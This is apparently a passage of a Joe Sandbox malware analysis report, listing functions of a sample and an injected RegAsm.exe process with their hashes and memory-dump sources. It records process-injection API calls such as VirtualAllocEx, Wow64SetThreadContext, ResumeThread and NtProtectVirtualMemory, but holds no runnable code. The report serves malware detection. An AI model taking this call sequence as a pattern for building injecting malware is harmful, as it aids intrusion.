Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 0c9cdf647a8659b9bd764d4d5b5d6baa35530f486398a3710e51fbecb1843cce
Instruction ID: ed6ec945b17bdc10f33f1d90cf83b98174432b4b85bf32601109c29012d77f36
Opcode Fuzzy Hash: 0c9cdf647a8659b9bd764d4d5b5d6baa35530f486398a3710e51fbecb1843cce
Instruction Fuzzy Hash: 9C212871C003499FDB10DFAAC885BDEBBF5FF48310F50842AE959A7250C7799500DBA4

Function 010022D8 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 01002356

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4db7702023a7c6fc26175ca517527cccf7213600f89cb1db7770b893ac6b6e79
Instruction ID: d26bf89e8795af70dcdeba212fb1e1835050b4ffe69af51a575b8a7584663fc1
Opcode Fuzzy Hash: 4db7702023a7c6fc26175ca517527cccf7213600f89cb1db7770b893ac6b6e79
Instruction Fuzzy Hash: B2211571D003098FEB14DFAAC4857AEBBF4EF88220F54842AD559A7280CB789945CFA4

Function 010023A9 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0100241E

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1fe602ceff281cdd167cc65a5faf3057c6e2c2f82649bfdddee3573439566662
Instruction ID: 4580d0ba907a41ea942536baaedab259e564cf3edf0571ffd01560a8fcd03db1
Opcode Fuzzy Hash: 1fe602ceff281cdd167cc65a5faf3057c6e2c2f82649bfdddee3573439566662
Instruction Fuzzy Hash: B31156718003499FEB25DFAAC844BEEBFF5EF88320F14881AE555A7250CB759514CFA0

Function 010023B0 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0100241E

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8d2584f5d27fe6657c25a7224cd90b5b41b2ab220282fb9ac326f6cafe29a1c1
Instruction ID: 24cbecae048b5bbd914743e3437ecbd9104d2197cf4a888f42734b6f71548ab0
Opcode Fuzzy Hash: 8d2584f5d27fe6657c25a7224cd90b5b41b2ab220282fb9ac326f6cafe29a1c1
Instruction Fuzzy Hash: 511137718003499FDB14DFAAC845BDEBBF5EF88720F148419E555A7250CB759544CFA0

Function 01002221 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 0100228A

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4fa36702ec678c4c7bd4a1d5bd2bf52303f35dba6d8cdf7c65976771d3e5d412
Instruction ID: 6415ea4b3698fc4f4715764b381c0e6215c57411c7063ebd93510d7445d2782a
Opcode Fuzzy Hash: 4fa36702ec678c4c7bd4a1d5bd2bf52303f35dba6d8cdf7c65976771d3e5d412
Instruction Fuzzy Hash: A31146718043498FEB24DFAAC4857EEFBF4AF88320F24881ED559A7240CB75A504CF94

Function 01002228 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32 ref: 0100228A

Memory Dump Source

Source File: 00000000.00000002.1461086216.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_rwvg1.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 9717dba99f9902453313d9053bef84d2892e7ad5b6f6a6dfb995e9199d2fc1a7
Instruction ID: 1ad5f371d6c758a2ec0f360d3b7f0e5bc6993bb13e52016368fa2128a0d2a583
Opcode Fuzzy Hash: 9717dba99f9902453313d9053bef84d2892e7ad5b6f6a6dfb995e9199d2fc1a7
Instruction Fuzzy Hash: 81113A71D003498FDB24DFAAC44579EFBF9EF88720F14841AD559A7240CB75A544CFA4

Function 00F2D518 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1460975419.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f2d000_rwvg1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f6731dabf25832b840d9be4dba2369768d204b86a1a8a3c412c504aa1bcb630
Instruction ID: b1e76a7d90acebad52c067fc07dc6daddbee84cbdd280d64f9a64becb4b9771a
Opcode Fuzzy Hash: 0f6731dabf25832b840d9be4dba2369768d204b86a1a8a3c412c504aa1bcb630
Instruction Fuzzy Hash: 9D213A72504340DFDB04DF14E9C5B16BF65FB94328F28C16DE8050B246C376D856EBA2

Function 00F2D513 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1460975419.0000000000F2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f2d000_rwvg1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
Instruction ID: eb5119d31c94b2808b28778cf385bfd1ebe6b818d428cf48554c256a4b275755
Opcode Fuzzy Hash: e3062b24f5b0128947100ec6e500ced3c6d63245422b7ec3b5033f72fc324263
Instruction Fuzzy Hash: 2611D376904280CFCB15CF14D5C4B16BF72FB94324F28C5A9D8094B656C37AD856DBA1

Analysis Process: RegAsm.exePID: 7988, Parent PID: 7796COMMON

Execution Graph

Execution Coverage:	12.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	25%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 02A12F19 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 456
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 02A133F9

Strings

D@, xrefs: 02A1332E
-K, xrefs: 02A13392
D@, xrefs: 02A132EF

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: -K$D@$D@
API String ID: 2706961497-1253730837
Opcode ID: e1763e9b18abbc4c89c2fba4381a01c8da8044f02c1d0c46b29b107a0e4f1b7e
Instruction ID: de5ca275ae399e31abeaa1771e59ef55f9c66260a6b3c78b0844ee4c6408d3d8
Opcode Fuzzy Hash: e1763e9b18abbc4c89c2fba4381a01c8da8044f02c1d0c46b29b107a0e4f1b7e
Instruction Fuzzy Hash: 7AE1A031F0434987DF28DEB98DD03AEB6A3ABD8234F588279D916DB384EF7499019740

Function 02A127A0 Relevance: 5.6, Strings: 4, Instructions: 642
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D@, xrefs: 02A12DE4
D@, xrefs: 02A12BA6
D@, xrefs: 02A12D7F
D@, xrefs: 02A12B67

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID:
String ID: D@$D@$D@$D@
API String ID: 0-3543151446
Opcode ID: 26c25dfc2db836864b6a2731627b8006244f1b901b957d37702ad6d0694cbfd3
Instruction ID: 3b1686ed9baa0aa76888e913510819c2810efedfb5b7e0d352621bd4d2943b9a
Opcode Fuzzy Hash: 26c25dfc2db836864b6a2731627b8006244f1b901b957d37702ad6d0694cbfd3
Instruction Fuzzy Hash: 7E12A631B042658BDB18DB798C913AEB6E3AFC8224F188239D906DB7D5DF34DD029791

Function 02A13370 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 02A133F9

Strings

-K, xrefs: 02A13392

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: -K
API String ID: 2706961497-2951988067
Opcode ID: a8cb7ab3d4f0bd0357188096710e74804cbd718c2e2c65f1b00440303ce6fad1
Instruction ID: a8e41d134700a7025656ccb5a9cd54f8be566bfcc5fabb792c4547259d710201
Opcode Fuzzy Hash: a8cb7ab3d4f0bd0357188096710e74804cbd718c2e2c65f1b00440303ce6fad1
Instruction Fuzzy Hash: D52103B5D013499FDB10DFAAD980ADEFBF5FF48320F20842AE519A7240CB759904CBA1

Function 02A197C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02A1984F

Strings

-K, xrefs: 02A197E7

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID: -K
API String ID: 3793708945-2951988067
Opcode ID: a578ca63888534135a903f537fcf6d515455b13f56a331fc82dee74e809811eb
Instruction ID: d077a960a7d13660bf912d458e57bb6534c708240647a9518d1a4963dd818812
Opcode Fuzzy Hash: a578ca63888534135a903f537fcf6d515455b13f56a331fc82dee74e809811eb
Instruction Fuzzy Hash: EA21E0B5D002099FDB10CFAAD985ADEBBF8FB48324F14841AE918A3350D778A954CF61

Function 02A197C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 02A1984F

Strings

-K, xrefs: 02A197E7

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID: -K
API String ID: 3793708945-2951988067
Opcode ID: d23776169ae78fbf0d3fdc482ab06f16e81f0d48983d5d0985548186076d2fca
Instruction ID: 56c096ac900f290ff85ed49b679e59c674c7d94fa7cfb667797b37d19fe181fb
Opcode Fuzzy Hash: d23776169ae78fbf0d3fdc482ab06f16e81f0d48983d5d0985548186076d2fca
Instruction Fuzzy Hash: B721E4B59003499FDB10CFAAD984ADEBBF8FB48320F14841AE918A3350D778A944CF61

Function 02A14438 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 02A144BB

Strings

-K, xrefs: 02A1445A

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID: -K
API String ID: 2559412058-2951988067
Opcode ID: 8d6eddb795999dec886408ca3f1dc9c731aa817b0a1bcda8e477b27ecc9a9706
Instruction ID: 65fbd0445c7d19c14180d21b42ad6d49114578af7b2f0c40b930909ae2e1e376
Opcode Fuzzy Hash: 8d6eddb795999dec886408ca3f1dc9c731aa817b0a1bcda8e477b27ecc9a9706
Instruction Fuzzy Hash: EA2149B5D002499FDB14CFAAD944BEEFBF5BF88320F148419E458A7250CB74A945CFA1

Function 02A14440 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32(?,00000000,?,?), ref: 02A144BB

Strings

-K, xrefs: 02A1445A

Memory Dump Source

Source File: 00000005.00000002.3907101299.0000000002A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2a10000_RegAsm.jbxd

Similarity

API ID: HookWindows
String ID: -K
API String ID: 2559412058-2951988067
Opcode ID: 825014e07970a5dba8248d1effe5faf2918f5dcda795b05c9e29ef9bfea8e344
Instruction ID: c673304012976f38e1386479ffc22ab9ac6705a5e43d11dbbe9408202b465ca0
Opcode Fuzzy Hash: 825014e07970a5dba8248d1effe5faf2918f5dcda795b05c9e29ef9bfea8e344
Instruction Fuzzy Hash: 592127B5D002098FDB14DFAAD945BDEFBF5AF88324F108429D419A7250CB74A944CFA1

Function 06970EF8 Relevance: 2.8, Strings: 2, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D@, xrefs: 0697114C
D@, xrefs: 06970FB6

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-3862852415
Opcode ID: 588db8b0e938048c176a4464cc57a786d486781d11b67ddef44a86de476f14cd
Instruction ID: fc47de3da5092a3a70921b90355f7c9d6b4b3a7a98c4f4ccacf4015614ff73ec
Opcode Fuzzy Hash: 588db8b0e938048c176a4464cc57a786d486781d11b67ddef44a86de476f14cd
Instruction Fuzzy Hash: 5191F231B042059FDB15DF69D880A6BBBFAFFC5210718856AE509DB752DB30EC06C7A0

Function 06972178 Relevance: 2.7, Strings: 2, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D@, xrefs: 0697240D
D@, xrefs: 069723E1

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: D@$D@
API String ID: 0-3862852415
Opcode ID: a3f14cc4c1ed06d0fe873d552b8890a65b933645e4d28d40fb277e071e18ff33
Instruction ID: ff4deeaa9ff7ed2b8cd9d991fdfe53c4c3fdca8ef2c8048998c849c0ca601ad2
Opcode Fuzzy Hash: a3f14cc4c1ed06d0fe873d552b8890a65b933645e4d28d40fb277e071e18ff33
Instruction Fuzzy Hash: B381C035B102098FDB48DF64E4547AEB7B6FB88710F14852AE906E7780CB35ED41CBA0

Function 06220F40 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,03C46FB4,02C7AA9C), ref: 06220FD6

Memory Dump Source

Source File: 00000005.00000002.3916033647.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6220000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 0f12a2961c65dfbdd70ea7a80109dab903eb17f77afef21e6827ad453bc1d704
Instruction ID: cec30af98c5b8c72b6d9fba497f83d2edcddbf1ffb3ab3a8636793969cd4b546
Opcode Fuzzy Hash: 0f12a2961c65dfbdd70ea7a80109dab903eb17f77afef21e6827ad453bc1d704
Instruction Fuzzy Hash: 44317A343002019FE358EB39D855B5A7BE6FBC5A00B508528EA0ADB3A5DF75ED06CB90

Function 06220F31 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,03C46FB4,02C7AA9C), ref: 06220FD6

Memory Dump Source

Source File: 00000005.00000002.3916033647.0000000006220000.00000040.00000800.00020000.00000000.sdmp, Offset: 06220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6220000_RegAsm.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 649bce6c333c9d29e7c432088e614cd238539f388000eab8f487875dcbbfc230
Instruction ID: 0bcabe95036b93fce66ef40e327dc89e293bdacfbc05ed9777a96185eed901ab
Opcode Fuzzy Hash: 649bce6c333c9d29e7c432088e614cd238539f388000eab8f487875dcbbfc230
Instruction Fuzzy Hash: D031CE30710201AFD394EB39D855F597BE6FF85A10B108558EA0ADF3A6DB72ED06CB80

Function 0697283A Relevance: 1.6, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

D@, xrefs: 06972AB3

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: D@
API String ID: 0-2222373746
Opcode ID: 5f5da8e2b4486315d8b7052436eb0ef09c95f3a297538ab90a3170f49587b010
Instruction ID: 512fcc7cfac4bbe484317857eca8c3d83e748753d5e48c3ab35a693c0f4beccc
Opcode Fuzzy Hash: 5f5da8e2b4486315d8b7052436eb0ef09c95f3a297538ab90a3170f49587b010
Instruction Fuzzy Hash: 8FB105357143059FDB55DF64D844AAABBB6FF89320F14806AE906CB792CB31ED05CBA0

Function 06972ECA Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

D@, xrefs: 06972F9F

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: D@
API String ID: 0-2222373746
Opcode ID: 42932c879fa77401846039d8b810184f249683a6cc18a1366e8b81f639b6b470
Instruction ID: ae176a015b6f415e140868fea5bbc0495fe238f34e65e534d03efe0b7c5aa9c9
Opcode Fuzzy Hash: 42932c879fa77401846039d8b810184f249683a6cc18a1366e8b81f639b6b470
Instruction Fuzzy Hash: 6751C131B042059FDB44EB79D850AAFBBFAEFC9610B14806AE909EB355DB30DD0197E1

Function 06975C28 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

-K, xrefs: 06975C4A

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: -K
API String ID: 0-2951988067
Opcode ID: 67df688399df67c753051015cb118b5bfd78a53589b9bdcc6313485011252118
Instruction ID: 8d262373deb3faaec9c3df089d60559b97a30a7dfa401879b05d781d604bbe7d
Opcode Fuzzy Hash: 67df688399df67c753051015cb118b5bfd78a53589b9bdcc6313485011252118
Instruction Fuzzy Hash: D5411375D01208DFDB54DF99D984BDEBBF6EF88310F24802AE409AB250DB74A905CF90

Function 06975C1E Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

-K, xrefs: 06975C4A

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: -K
API String ID: 0-2951988067
Opcode ID: 218bc13c65731cb6dc70e97c6a370676102f64c0c7f117f71a269181052fedba
Instruction ID: c8904ea6415b00fae2285b3a146f885a7417b5352f5f56cdf48b70d34112ed0d
Opcode Fuzzy Hash: 218bc13c65731cb6dc70e97c6a370676102f64c0c7f117f71a269181052fedba
Instruction Fuzzy Hash: 684101B1D01249DFEB54DFA9C985BDEBBFAEF48300F24812AE409AB250DB705945CF64

Function 06975B5D Relevance: 1.3, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

D@, xrefs: 06975BA1

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID: D@
API String ID: 0-2222373746
Opcode ID: 7dbfc47f4395b5e60f8ce5da44e22dcd40d914cd0f33222abdc40d4b152c828c
Instruction ID: b22034669b00d4728922c51585a1ddd780637b85e1dc9b5636891761d5e0bfee
Opcode Fuzzy Hash: 7dbfc47f4395b5e60f8ce5da44e22dcd40d914cd0f33222abdc40d4b152c828c
Instruction Fuzzy Hash: D4F0E511B043680FC6C9F379586126E1BD3DAC6A50715846AD21FDBBC1CF185D0783E6

Function 069748C8 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6724d1b74a13ba2d914c5e458badf8cb13d105b08f89e2a67f1c0b8868ac1f38
Instruction ID: b671b33819aff2906e6898509bf512b26603714f4f040ae2a0ea2b0544e5aea2
Opcode Fuzzy Hash: 6724d1b74a13ba2d914c5e458badf8cb13d105b08f89e2a67f1c0b8868ac1f38
Instruction Fuzzy Hash: 5EB18374B002059FDB48EB79D85076EBBEAFFC8A10B258569E809EB351DF34DC0197A1

Function 06976ED0 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c251b9041a905f2bd96c0d087ac4878b388d9a4579af0a5b4323f00f24ba12f0
Instruction ID: 581f6e02238751be190ab4d652fbeefdf61e38ce5309e706e267df5b52c26c8a
Opcode Fuzzy Hash: c251b9041a905f2bd96c0d087ac4878b388d9a4579af0a5b4323f00f24ba12f0
Instruction Fuzzy Hash: CF918D34B003058FDB98EFB4D49466D7BA6BFC9704B10896AE8069B345EF35ED478B81

Function 06976B18 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc25cfb3b91e9e617dedd45cbe3d75ef7710e690c58f5dc90121a01a6fc50b94
Instruction ID: cba83ffd0a6bfd6ba33519f1db79b04ef6e8936bda361261a3f38ed938312161
Opcode Fuzzy Hash: dc25cfb3b91e9e617dedd45cbe3d75ef7710e690c58f5dc90121a01a6fc50b94
Instruction Fuzzy Hash: 0E917C74D44705CFEBA8CB1CE8487787BB6FB84325F96891AC40487690CB70D86ACF91

Function 06974630 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c5b03eeb63b256342223558339f98e46abe433baf28961a2c319c6dceeed00f
Instruction ID: 3a9a56026889c8d99ed072447bd6f34e800c84c86c76c46573bf21918fa8dc63
Opcode Fuzzy Hash: 3c5b03eeb63b256342223558339f98e46abe433baf28961a2c319c6dceeed00f
Instruction Fuzzy Hash: FB61B134A0060ADFCB50CF68C8C4E6ABBFAFF89714F14C569E5198B662D730E955CB90

Function 069767F0 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0836fa345a8b8f12bb0889ae09fe5d50b5d9c3ee0725dc9657ebad070d8c200d
Instruction ID: 51269c43527c0ebe36ccfe2fc78945cada75b36b868191873a89cd52be8e6e03
Opcode Fuzzy Hash: 0836fa345a8b8f12bb0889ae09fe5d50b5d9c3ee0725dc9657ebad070d8c200d
Instruction Fuzzy Hash: C4519E74A00605DFEB14DF65D958BAABBF1BF88710F204199E511AB7E0CB71EC41CB90

Function 06978448 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e61908e4b2dce452eac5f08b6c7b4e01bb978080884de50728d6cd55af8f6c
Instruction ID: 49072b234bf286a25c0b13fd6a3d2e9e446fbbf5536b70f1f3c2d872688eee86
Opcode Fuzzy Hash: 13e61908e4b2dce452eac5f08b6c7b4e01bb978080884de50728d6cd55af8f6c
Instruction Fuzzy Hash: D0413835E002189FDB94CB99E948AEDB7B9FF88310F1481A6E905E7660DB70DC42CB95

Function 06975FF0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93350db253dd7a5c1f99bdd220670e1eb45de414478491abfedb44008ec12f56
Instruction ID: 3b2b0825d8baf876a0c315864ceea56c32497c201f993ddae217b5eed811ed4a
Opcode Fuzzy Hash: 93350db253dd7a5c1f99bdd220670e1eb45de414478491abfedb44008ec12f56
Instruction Fuzzy Hash: 75416A34704901CFD7886B66DA5852ABB77FBC4B05734C948E4069BA52CF32AD13DBC6

Function 069761B0 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779a8d1f788eaf39751fa796cc75e292e1e4390d39329bc835857ff991f894cd
Instruction ID: 1279442b06885d545652193550bd65ca01907085a6869b9ff2cc79d1972af964
Opcode Fuzzy Hash: 779a8d1f788eaf39751fa796cc75e292e1e4390d39329bc835857ff991f894cd
Instruction Fuzzy Hash: 3D419034A04615DFCB44DF64C994E6ABBB2FF85301F1184A9E452AB7A2C731EC01CBA0

Function 06976EC9 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6970000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17cb2bddbe76b81bf8603332642932231d578b6555456c3206f04ebb5be13a0
Instruction ID: 20ba44fbda844104f5b7b7797f4f9b12c9e98d7375409da5c10a6e29cbe45c1b
Opcode Fuzzy Hash: c17cb2bddbe76b81bf8603332642932231d578b6555456c3206f04ebb5be13a0
Instruction Fuzzy Hash: BA21D531B002414BCF54BB75E89422E7BABABC8B08710856ADD0ACB389EF75DD0687C1

Function 0697841F Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3916493028.0000000006970000.00000040.00000800.00020000.00000000.sdmp, Offset: 06970000, based on PE: false

Joe Sandbox IDA Plugin

